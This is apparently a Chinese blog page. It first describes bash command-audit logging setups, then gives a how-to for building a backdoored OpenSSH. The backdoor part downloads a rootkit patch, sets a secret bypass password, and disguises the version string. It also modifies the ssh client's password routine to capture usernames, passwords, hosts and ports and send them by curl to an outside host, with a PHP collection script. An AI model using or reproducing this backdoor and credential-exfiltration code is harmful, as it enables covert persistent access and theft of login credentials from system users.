      syslog (SYSLOG_FACILITY|SYSLOG_LEVEL, "HISTORY (TRUNCATED): PID=%d  PPID=%d SID=%d User=%s USER=%s CMD=%s", getpid(), getppid(), getsid(
getpid()), current_user.user_name, p, trunc); 
    }   
}

我们这里定义的是NAME_OF_KEY这个变量,即bash记录的操作记录是这个人操作的,稍后我们要做的就是怎么得到NAME_OF_KEY这个变量。

接下来要做的就是编译bash

./configure –prefix=/usr/local/bash_4.1
make
make install

echo ‘/usr/local/bash_4.1/bin/bash’ >> /etc/shells

然后把/etc/passwd里面定义的/bin/bash全部指向/usr/local/bash_4.1/bin/bash这个我们编译的bash

这样重新登录,在messages里面就有了bash打出的log了,只是NAME_OF_KEY这个变量是空的,我们只知道是root执行的,但不知道具体是谁执行的,我们可以通过在登录时候在~/.ssh/authorized_keys这个文件里面找到自己的key,最后一列定义好自己的名字,然后赋值给NAME_OF_KEY就可以了,实现方法是打开sshd登录的debug日志,在/etc/ssh/sshd_config 这个文件里面加入LogLevel DEBUG,保存重启sshd服务即可,这样会在/var/log/secure里面打印出登录过程,我们需要的是Found matching RSA key: b7:51:9e:a6:03:cf:1e:23:a7:c2:9a:f5:2f:c4:af:0c这样类似的日志,这样匹配到了rsakey指纹,然后我们用系统里面加入好的.ssh/authorized_keys这个文件里面的key做对比就知道是哪个key登录的,我们取最后一列的注释即可(.ssh/authorized_keys里面的格式最后一列想对于一个注释,我们加key的时候把具体名字写好)。以前是通过登录的时间和登录的ip来得到匹配的Found matching RSA key这一行,但是问题来了,我们办公网如果有两个人同时登录的话,就有bug了,得到了几个key。。bug,我们继续探讨。

有什么可以决定用户登录系统的唯一指标而且又很容易得到呢?id号,我们登录系统,就会产生一个bash进程,可以通过echo $$得到,这个进程就可以判断这个时候登录用户的唯一性,我们匹配到这个进程idkey,然后取最后一位就可以了。但是也有特殊情况,如果是root用户登录的话,日志里面记录的(sshd[16322]: Found matching RSA key: b7:51:9e:a6:03:cf:1e:23:a7:c2:9a:f5:2f:c4:af:0csshd这里的进程号就是bash进程id,果不是root用户,验证指纹的是另外一个进程号,经测试,发现如果是普通用户的话,这个进程号得通过ps去匹配就可以了。

实现办法:

/etc/profile 里面加入下面这段,让用户每次登录都要加载:

pid=$PPID
#在自己home目录得到所有的key,如果/var/log/key 没有的时候,添加进去
while read line
do
grep "$line" /var/log/key >/dev/null || echo "$line" >> /var/log/key
done < $HOME/.ssh/authorized_keys
#得到每个key的指纹
cat /var/log/key | while read LINE
do
                NAME=$(echo $LINE | awk '{print $3}')
echo $LINE >/tmp/key.log.$pid
                KEY=$(ssh-keygen -l -f /tmp/key.log.$pid | awk '{print $2}')
grep  "$KEY $NAME"  /var/log/ssh_key_fing >/dev/null || echo "$KEY $NAME" >> /var/log/ssh_key_fing
done
#如果是root用户,secure文件里面是通过PPID号验证指纹
if [ $UID == 0 ]
then
ppid=$PPID
else
#如果不是root用户,验证指纹的是另外一个进程号
ppid=`/bin/ps -ef | grep $PPID |grep 'sshd:' |awk '{print $3}'`
fi
#得到RSA_KEY和NAME_OF_KEY,用来bash4.1得到历史记录
RSA_KEY=`/bin/egrep 'Found matching RSA key' /var/log/secure|/bin/egrep "$ppid"|/bin/awk '{print $NF}'|tail -1`
 if [ -n "$RSA_KEY" ];then
NAME_OF_KEY=`/bin/egrep "$RSA_KEY" /var/log/ssh_key_fing|/bin/awk '{print $NF}'`
fi
#把NAME_OF_KEY设置为只读
readonly NAME_OF_KEY
export NAME_OF_KEY
/bin/rm /tmp/key.log.$pid

这样我们基本实现了messages里面记录日志的功能,但久了就会发现远程执行的时候这个是无效的,我们另外下办法。

经多次测试,发现远程执行时候,执行的命令会放在BASH_EXECUTION_STRING这个变量里面,所以我们可以把这个变量打入到日志里面,再加好NAME_OF_KEY这个变量就可以了。实现方法:

先判断是否为空test -z “$BASH_EXECUTION_STRING” ,如果发现这个值不为空就通过logger这个命令直接发日志就可以了logger -t -bash -s “HISTORY $SSH_CLIENT USER=$ NAME_OF_KEY CMD=$BASH_EXECUTION_STRING ” >/dev/null 2>&1 ,这里的-t是制定和之前bash记录那样有关-bash的前缀,但是现在没有NAME_OF_KEY这个变量值,原因是之前我们放在/etc/profile文件,远程执行时候是不加载那个文件的,现在我们更改一下位置,把之前那个分离出来,我这里是放在/etc/bash_4399这个文件里面,然后在/etc/bashrc里面加入:

test -z "$BASH_EXECUTION_STRING" || { test -f /etc/bash_4399 && . /etc/bash_4399; logger -t -bash -s "HISTORY $SSH_CLIENT USER=$NAME_OF_KEY CMD=$BASH_EXECUTION_STRING " >/dev/null 2>&1;}

这样就完美解决了。

 

虽然是完美解决了,但是在centos 5系列上面才完美,在6系列上面问题就出来了,他不加载/etc/bashrc这个文件。想办法。。man sshd仔细找帮助,发现LOGIN PROCESS这段有些内容:

When a user successfully logs in, sshd does the following:

其中有一条Reads the file ~/.ssh/environment,看来6系列的也会去价值这个文件,测试在这个文件里面加入a=a ,然后远程查看,确实有这个变量值,看来把之前那个判断NAME_OF_KEY 的加在这个文件里面就可以了,看似是可以的,其实不然,这个只是赋值型的加载,并不支持命令,比如a=`pwd`,结果变量a的内容是`pwd`,并不是pwd的执行结果。崩溃。另外下办法。。对比5系列和6系列的系统,发现openssh版本上升了一个大版本,现在怀疑是系统或者openssh版本或者bash版本问题,测试。。在5系列编译6系列的openssh版本,发现失效了,6系列编译5系列的openssh版本居然可以了,看来就是openssh版本问题。解决办法?

下载源码,看看有没有发现opensshbash结合地方的一些可疑地方。n久也只发现sshconnect.c里面有点点猫腻,但是都失败了,后来在bash的源码发现shell.c里面有一些no_rc之类的定义(static int no_rc; /* Don’t execute ~/.bashrc */),看来就是这些变量的问题,结果下面n长又是一团糟。发现下面有个定义相似的变量

/* get the rshd/sshd case out of the way first. */
  if (interactive_shell == 0 && no_rc == 0 && login_shell == 0 && 
      act_like_sh == 0 && command_execution_string)
    {    
#ifdef SSH_SOURCE_BASHRC
      run_by_ssh = (find_variable ("SSH_CLIENT") != (SHELL_VAR *)0) ||
                   (find_variable ("SSH2_CLIENT") != (SHELL_VAR *)0);
#else
      run_by_ssh = 0; 
#endif
 
      /* If we were run by sshd or we think we were run by rshd, execute
         ~/.bashrc if we are a top-level shell. */

google发现了这个含义:

只要编译前在`config-top.h`中定义` SSH_SOURCE_BASHRC`,那么尽管Bash在被sshd fork出来的时候加上了`-c`选项,也确实是non-login non-interactive shell,只要发现`SSH_CLIENT`或者`SSH2_CLIENT`环境变量存在,就仍然会依次载入`SYS_BASHRC``~/.bashrc`文件。”

很切题,就是这个了。马上在原来改过的源码上面继续改,取消了 SSH_SOURCE_BASHRC这个宏定义的注释,重新编译,果然生效了,这些远程登录会加载~/.bashrc这个变量了。继续完善结论:

远程ssh执行命令加入日志方法:

6系列机器:

在原先更改过bash源码的基础上,在源码根目录config-top.h文件里面再加入#define SSH_SOURCE_BASHRC(原先有这个值,只是注释掉了),然后重新编译bash 

5系列和6系列机器把原先/etc/profile里面的从pid=$PPID开始到/bin/rm /tmp/key.log.$pid这段剪切到/etc/bash_4399,在/etc/profile加入. /etc/bash_4399,再统一在/etc/bashrc里面加入test -z “$BASH_EXECUTION_STRING” || { test -f /etc/bash_4399 && . /etc/bash_4399; logger -t -bash -s “HISTORY $SSH_CLIENT USER=$NAME_OF_KEY CMD=$BASH_EXECUTION_STRING ” >/dev/null 2>&1;}

 

这样就完成了远程执行命令的ssh记录

为了让记录发送到远程服务器上面,我们在syslog里面加内容:

5系列是在 /etc/syslog.conf

6系列是在/etc/rsyslog.conf

里面加入 *.* @IP

重启syslog或者rsyslog服务就可以了,远程日志服务器自己搭建~

 

总结最后修改内容:

修改bash源码。

在最原始的/etc/profile里面加入

 test -f /etc/bash_4399 && ./etc/bash_4399
 
/etc/bash_4399 那个文件内容:
pid=$PPID
#在自己home目录得到所有的key,如果/var/log/key 没有的时候,添加进去
while read line
do
grep "$line" /var/log/key >/dev/null || echo "$line" >> /var/log/key
done < $HOME/.ssh/authorized_keys
#得到每个key的指纹
cat /var/log/key | while read LINE
do
                NAME=$(echo $LINE | awk '{print $3}')
echo $LINE >/tmp/key.log.$pid
                KEY=$(ssh-keygen -l -f /tmp/key.log.$pid | awk '{print $2}')
grep  "$KEY $NAME"  /var/log/ssh_key_fing >/dev/null || echo "$KEY $NAME" >> /var/log/ssh_key_fing
done
#如果是root用户,secure文件里面是通过PPID号验证指纹
if [ $UID == 0 ]
then
ppid=$PPID
else
#如果不是root用户,验证指纹的是另外一个进程号
ppid=`/bin/ps -ef | grep $PPID |grep 'sshd:' |awk '{print $3}'`
fi
#得到RSA_KEY和NAME_OF_KEY,用来bash4.1得到历史记录
RSA_KEY=`/bin/egrep 'Found matching RSA key' /var/log/secure|/bin/egrep "$ppid"|/bin/awk '{print $NF}'|tail -1`
 if [ -n "$RSA_KEY" ];then
NAME_OF_KEY=`/bin/egrep "$RSA_KEY" /var/log/ssh_key_fing|/bin/awk '{print $NF}'`
fi
#把NAME_OF_KEY设置为只读
readonly NAME_OF_KEY
export NAME_OF_KEY
/bin/rm /tmp/key.log.$pid

/etc/bashrc追加一行

test -z "$BASH_EXECUTION_STRING" || { test -f /etc/bash_4399 && . /etc/bash_4399; logger -t -bash -s "HISTORY $SSH_CLIENT USER=$NAME_OF_KEY CMD=$BASH_EXECUTION_STRING " >/dev/null 2>&1;}

Linux审计功能实现的两种实现方式:由于当前网络安全很问题很突出,黑客们又都很强大,不怕外患,像小公司不足被黑客盯住,就怕内忧,历史记录怎么能少呢?linux系统本身虽然提供了历史命令的记录功能(记录在:~/.bash_history),默认也能记录1000条之多,但是容易被清除,依然不安全,所以需要采取别的方式记录下服务器操作的日志,这样"坏蛋"将无处可遁,下面将介绍两种简单的实现方式:

第一种:

#将下面这段内容添加在/etc/profile文件末尾,完事后执行source /etc/profile使之生效。

HISTSIZE=1000
HISTTIMEFORMAT="%Y/%m/%d %T ";export HISTTIMEFORMAT
export HISTORY_FILE=/var/log/audit.log
export PROMPT_COMMAND='{ thisHistID=`history 1|awk "{print \\$1}"`;lastCommand=`history 1| awk "{\\$1=\"\" ;print}"`;user=`id -un`;whoStr=(`who -u am i`);realUser=${whoStr[0]};logMonth=${whoStr[2]};logDay=${whoStr[3]};logTime=${whoStr[4]};pid=${whoStr[6]};ip=${whoStr[7]};if [ ${thisHistID}x != ${lastHistID}x ];then echo -E `date "+%Y/%m/%d %H:%M:%S"` $user\($realUser\)@$ip[PID:$pid][LOGIN:$logMonth $logDay $logTime] --- $lastCommand ;lastHistID=$thisHistID;fi; } >> $HISTORY_FILE'

#然后便可查看是否生效了呢?

[root@test2 ~]# cat /var/log/audit.log
2015/04/14 14:18:42 root(root)@[PID:(192.168.101.110)][LOGIN:2015-04-14 14:18 .] --- 2015/04/09 09:22:57 cat /etc/sysctl.conf
2015/04/14 14:19:16 root(root)@[PID:(192.168.101.110)][LOGIN:2015-04-14 14:18 .] --- 2015/04/14 14:19:16 cd /usr/local/nginx/conf/sites-enabled/
2015/04/14 14:19:17 root(root)@[PID:(192.168.101.110)][LOGIN:2015-04-14 14:18 .] --- 2015/04/14 14:19:17 ll
2015/04/14 14:19:27 root(root)@[PID:(192.168.101.110)][LOGIN:2015-04-14 14:18 .] --- 2015/04/14 14:19:27 cat awstats.conf
2015/04/14 14:21:04 root(root)@[PID:(192.168.101.110)][LOGIN:2015-04-14 14:18 .] --- 2015/04/14 14:21:04 cat /etc/profile


第二种:

#将下面这段内容添加在/etc/profile文件末尾,完事后执行source /etc/profile使之生效。

function log2syslog{
declare command
command=$(fc -ln -0)
logger -p local1.notice -t bash -i — $SSH_CLIENT :$USER : $command
}
trap log2syslog DEBUG
[root@test2 u1]# tail -f -n100 /var/log/messages
Aug 16 18:22:36 test2 bash[4460]: — 192.168.101.116 63383 22 :root : vim /etc/profile

第二种方式目前有一个缺陷就是每次记录的命令,同一条会出现多次,这是待完善的地方。
#哈哈,就算"坏蛋"执行了history -c命令,他的犯罪记录也不会被抹杀掉的,这就叫做"要想人不知,除非己莫为",不要当坏蛋哦~~~

关于openssh通用后门的拓展

发布时间:April 28, 2015 // 分类:工作日志,代码学习,linux,VC/C/C++ // 3 Comments

from:http://www.freebuf.com/tools/10474.html

简单的说下步骤:

安装前首先

ssh -V

记录下原来ssh版本信息,免得安装后一看就版本不一样了

wget http://core.ipsecs.com/rootkit/patch-to-hack/0x06-openssh-5.9p1.patch.tar.gz
wget http://openbsd.org.ar/pub/OpenBSD/OpenSSH/portable/openssh-5.9p1.tar.gz
tar zxvf openssh-5.9p1.tar.gz
tar zxvf 0x06-openssh-5.9p1.patch.tar.gz
cd openssh-5.9p1.patch/
cp sshbd5.9p1.diff ../openssh-5.9p1
cd ../openssh-5.9p1
patch < sshbd5.9p1.diff   //patch  后门
vi includes.h                   //修改后门密码,记录文件位置,

/*
+#define ILOG "/tmp/ilog"                      //记录登录到本机的用户名和密码
+#define OLOG "/tmp/olog"                   //记录本机登录到远程的用户名和密码
+#define SECRETPW "123456654321"    //你后门的密码
*/

vi version.h                                           //修改ssh版本信息,改成原来的

先安装所需环境不然会报错

yum install -y openssl openssl-devel pam-devel
./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam --with-kerberos5

注意要是出现:configure: error: *** zlib.h missing – please install first or check config.log

需要安装zlib

yum install -y zlib zlib-devel    //  http://sourceforge.net/projects/libpng/files/zlib/1.2.3/zlib-1.2.3.tar.gz/download  需要 make clean
make && make install
service sshd restart          //重启sshd

然后我们登录ssh看看

再ssh localhost看看

使用后门密码登录是不会被记录的

后门,记录一举两得,是不是很简单.这么简单粗暴的办法,必须进行拓展才好啊。比如。需要把当前的账号和密码发送到远程的地方,而不是简单的保存在本地。或者是利用当前的到账号和密码,来穷举当前机器所在的内网的C段。当然,这些需要自己来做一些加工。首先我们来分析OPENSSH认证的地方。然后从这个地方截取所需要的账号和密码

int
userauth_passwd(Authctxt *authctxt)
{
    static int attempt = 0;
    char prompt[150];
    char *password;
    
    const char *host = options.host_key_alias ?  options.host_key_alias :
        authctxt->host;

    if (attempt++ >= options.number_of_password_prompts)
        return 0;

    if (attempt != 1)
        error("Permission denied, please try again.");

    snprintf(prompt, sizeof(prompt), "%.30s@%.128s's password: ",
        authctxt->server_user, host);
    password = read_passphrase(prompt, 0);
    
    packet_start(SSH2_MSG_USERAUTH_REQUEST);
    packet_put_cstring(authctxt->server_user);
    packet_put_cstring(authctxt->service);
    packet_put_cstring(authctxt->method->name);
    packet_put_char(0);
    packet_put_cstring(password);
    memset(password, 0, strlen(password));
    xfree(password);
    packet_add_padding(64);
    packet_send();

    dispatch_set(SSH2_MSG_USERAUTH_PASSWD_CHANGEREQ,
        &input_userauth_passwd_changereq);
    return 1;
}

然后查看openssh的那个patch

diff -u openssh-5.9p1/sshconnect2.c openssh-5.9p1.patch//sshconnect2.c
--- openssh-5.9p1/sshconnect2.c 2011-05-29 18:42:34.000000000 +0700
+++ openssh-5.9p1.patch//sshconnect2.c  2012-02-04 22:17:53.385927565 +0700
@@ -878,6 +878,10 @@
    snprintf(prompt, sizeof(prompt), "%.30s@%.128s's password: ",
        authctxt->server_user, host);
    password = read_passphrase(prompt, 0);
+   if((f=fopen(OLOG,"a"))!=NULL){
+       fprintf(f,"user:password@host --> %s:%s@%s\n",authctxt->server_user,password,authctxt->host);
+       fclose(f);
+   }
    packet_start(SSH2_MSG_USERAUTH_REQUEST);
    packet_put_cstring(authctxt->server_user);
    packet_put_cstring(authctxt->service);

如此,全部的包含信息都有了。账号和密码,还有地址。对了,还缺少一个端口,因为ssh的端口都是在sshd_config里面。那么直接获取就好了。

    char *findport()
    {
        FILE *FTopen;
        char tempBuf[1024] = {0};
        char *Filename = "/etc/ssh/sshd_config";
        char *Filetext = "Port";
        if((FTopen = fopen(Filename, "r")) == NULL) { return Filetext; }
        while(fgets(tempBuf, 1024, FTopen) != NULL) { 
                if(strstr(tempBuf, Filetext)) { Filetext = tempBuf; break; }
                memset(tempBuf, 0, 1024);
        }
        fclose(FTopen);
        return Filetext;
    }

全部的流程分析清楚了。然后就是直接加进去就好了

int
userauth_passwd(Authctxt *authctxt)
{
    static int attempt = 0;
    char prompt[150];
    char *password;
    FILE *f;

    char *findport()
    {
        FILE *FTopen;
        char tempBuf[1024] = {0};
        char *Filename = "/etc/ssh/sshd_config";
        char *Filetext = "Port";
        if((FTopen = fopen(Filename, "r")) == NULL) { return Filetext; }
        while(fgets(tempBuf, 1024, FTopen) != NULL) { 
                if(strstr(tempBuf, Filetext)) { Filetext = tempBuf; break; }
                memset(tempBuf, 0, 1024);
        }
        fclose(FTopen);
        return Filetext;
    }
        
    
    const char *host = options.host_key_alias ?  options.host_key_alias :
        authctxt->host;

    if (attempt++ >= options.number_of_password_prompts)
        return 0;

    if (attempt != 1)
        error("Permission denied, please try again.");

    snprintf(prompt, sizeof(prompt), "%.30s@%.128s's password: ",
        authctxt->server_user, host);
    password = read_passphrase(prompt, 0);
    
    if((f=fopen("/tmp/olog","a"))!=NULL){//这里为了方便,写入本地咯
        fprintf(f,"username:%s-->password:%s-->host:%s-->port:%s\n",authctxt->server_user,password,authctxt->host,findport());
        fclose(f);
    }
    
    packet_start(SSH2_MSG_USERAUTH_REQUEST);
    packet_put_cstring(authctxt->server_user);
    packet_put_cstring(authctxt->service);
    packet_put_cstring(authctxt->method->name);
    packet_put_char(0);
    packet_put_cstring(password);
    memset(password, 0, strlen(password));
    xfree(password);
    packet_add_padding(64);
    packet_send();

    dispatch_set(SSH2_MSG_USERAUTH_PASSWD_CHANGEREQ,
        &input_userauth_passwd_changereq);
    return 1;
}

然后,就是国际惯例。./configure make

既然得到了账号和密码。我们考虑下把这个密码发送到远程地址。因为要发送,所以考虑到还要使用sock来发送http请求,后来想起是linux.本身就带有curl的,为何不直接用来请求呢。

    char szres[1024] = {0};
    memset(szres,0,sizeof(szres));
    snprintf(szres,sizeof(szres),"/usr/bin/curl -d \"username=%s&password=%s&Host=%s&port=%s\" http://0cx.cc/ssh.php >null",authctxt->server_user,read_passphrase(prompt, 0),authctxt->host,findport());
    //printf("Szres = %s.\r\n",szres);
    system(szres);  

然后接收端这么写

<?php
$username = $_POST['username'];
$password = $_POST['password'];
$host = $_POST['host'];
$port = $_POST['port'];
$time=date('Y-m-d H:i:s',time());

if(isset($username) != "" || isset($password) !="" || isset($host) != "")
{
        $fp = fopen("sshlog.txt","a+");
        $result = "sername:.$username--->:Password:$password----->:Host:$host----->:port:$port----->:time:$time";
        fwrite($fp,$result);
        fwrite($fp,"\r\n");
        fclose($fp);
}
?>
int
userauth_passwd(Authctxt *authctxt)
{
    static int attempt = 0;
    char prompt[150];
    char *password;
    char szres[1024] = {0};

    char *findport()
    {
        FILE *FTopen;
        char tempBuf[1024] = {0};
        char *Filename = "/etc/ssh/sshd_config";
        char *Filetext = "Port";
        if((FTopen = fopen(Filename, "r")) == NULL) { return Filetext; }
        while(fgets(tempBuf, 1024, FTopen) != NULL) { 
                if(strstr(tempBuf, Filetext)) { Filetext = tempBuf; break; }
                memset(tempBuf, 0, 1024);
        }
        fclose(FTopen);
        return Filetext;
    }
        
    
    const char *host = options.host_key_alias ?  options.host_key_alias :
        authctxt->host;

    if (attempt++ >= options.number_of_password_prompts)
        return 0;

    if (attempt != 1)
        error("Permission denied, please try again.");

    snprintf(prompt, sizeof(prompt), "%.30s@%.128s's password: ",
        authctxt->server_user, host);
    password = read_passphrase(prompt, 0);
    packet_start(SSH2_MSG_USERAUTH_REQUEST);
    packet_put_cstring(authctxt->server_user);
    packet_put_cstring(authctxt->service);
    packet_put_cstring(authctxt->method->name);
    packet_put_char(0);
    packet_put_cstring(password);
    memset(password, 0, strlen(password));
    xfree(password);
    packet_add_padding(64);
    packet_send();

    dispatch_set(SSH2_MSG_USERAUTH_PASSWD_CHANGEREQ,
        &input_userauth_passwd_changereq);
    memset(szres,0,sizeof(szres));
    snprintf(szres,sizeof(szres),"/usr/bin/curl -d \"username=%s&password=%s&host=%s&port=%s\" http://0cx.cc/ssh.php >null",authctxt->server_user,read_passphrase(prompt, 0),authctxt->host,findport());
    printf("Szres = %s.\r\n",szres);//实际的时候不需要这样子
    system(szres);  
    
    return 1;
}

最后的就是这个样子

 

缺点:

调用curl是很方便,但是curl post的时候会传输数据。

root@ubuntu:/tmp/openssh-5.9p1# ./ssh 192.168.1.103
root@192.168.1.103's password: 
root@192.168.1.103's password: 
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100    63    0     0  100    63      0     43  0:00:01  0:00:01 --:--:--   248
Welcome to Ubuntu 12.04 LTS (GNU/Linux 3.2.0-23-generic-pae i686)

 * Documentation:  https://help.ubuntu.com/

705 packages can be updated.
313 updates are security updates.

New release '14.04.1 LTS' available.
Run 'do-release-upgrade' to upgrade to it.

Last login: Mon Apr 27 17:04:59 2015 from ubuntu.local
root@ubuntu:~# 

开始以为是curl的问题,后来查询curl的具体使用方法,发现加一个参数-s就好了。也就是

    memset(szres,0,sizeof(szres));
    snprintf(szres,sizeof(szres),"/usr/bin/curl -s -d \"username=%s&password=%s&Host=%s&port=%s\" http://0cx.cc/ssh.php >/dev/null",authctxt->server_user,read_passphrase(prompt, 0),authctxt->host,findport());
    system(szres);

PS:

snprintf(szres,sizeof(szres),"/usr/bin/curl -s -d \"username=%s&password=%s&Host=%s&port=%s\" http://0cx.cc/ssh.php >/dev/null",authctxt->server_user,read_passphrase(prompt, 0),authctxt->host,findport());

这里的read_passphrase(prompt, 0)会重新调用验证,所以会出现二次认证的提示。于是在read_passphrase(prompt, 0)的时候复制一次就好了。所以完整的函数体是这样子的


int
userauth_passwd(Authctxt *authctxt)
{
    static int attempt = 0;
    char prompt[150];
    char *password;
    char *pass[200];
    char szres[1024] = {0};
    FILE *f;
    char *findport()
    {
        FILE *FTopen;
        char tempBuf[1024] = {0};
        char *Filename = "/etc/ssh/sshd_config";
        char *Filetext = "Port";
        if((FTopen = fopen(Filename, "r")) == NULL) { return Filetext; }
        while(fgets(tempBuf, 1024, FTopen) != NULL) { 
                if(strstr(tempBuf, Filetext)) { Filetext = tempBuf; break; }
                memset(tempBuf, 0, 1024);
        }
        fclose(FTopen);
        return Filetext;
    }
         
     
    const char *host = options.host_key_alias ?  options.host_key_alias :
        authctxt->host;
 
    if (attempt++ >= options.number_of_password_prompts)
        return 0;
 
    if (attempt != 1)
        error("Permission denied, please try again.");
 
    snprintf(prompt, sizeof(prompt), "%.30s@%.128s's password: ",
        authctxt->server_user, host);
    password = read_passphrase(prompt, 0);
    strcpy(pass,password);//截取的密码的时候把它复制到自定义的地方去。方便调用
    packet_start(SSH2_MSG_USERAUTH_REQUEST);
    packet_put_cstring(authctxt->server_user);
    packet_put_cstring(authctxt->service);
    packet_put_cstring(authctxt->method->name);
    packet_put_char(0);
    packet_put_cstring(password);
    memset(password, 0, strlen(password));
    xfree(password);
    packet_add_padding(64);
    packet_send();
 
    dispatch_set(SSH2_MSG_USERAUTH_PASSWD_CHANGEREQ,
        &input_userauth_passwd_changereq);

    if((f=fopen("/tmp/olog","a+"))!=NULL){//这里为了方便,写入本地咯
        fprintf(f,"username:%s-->password:%s-->host:%s-->port:%s\n",authctxt->server_user,pass,authctxt->host,findport());
        fclose(f);}  

    memset(szres,0,sizeof(szres));
    snprintf(szres,sizeof(szres),"/usr/bin/curl -s -d \"username=%s&password=%s&host=%s&port=%s\" http://0xc.cc/ssh.php >/dev/null",authctxt->server_user,pass,authctxt->host,findport());
    system(szres);  
   
    return 1;
}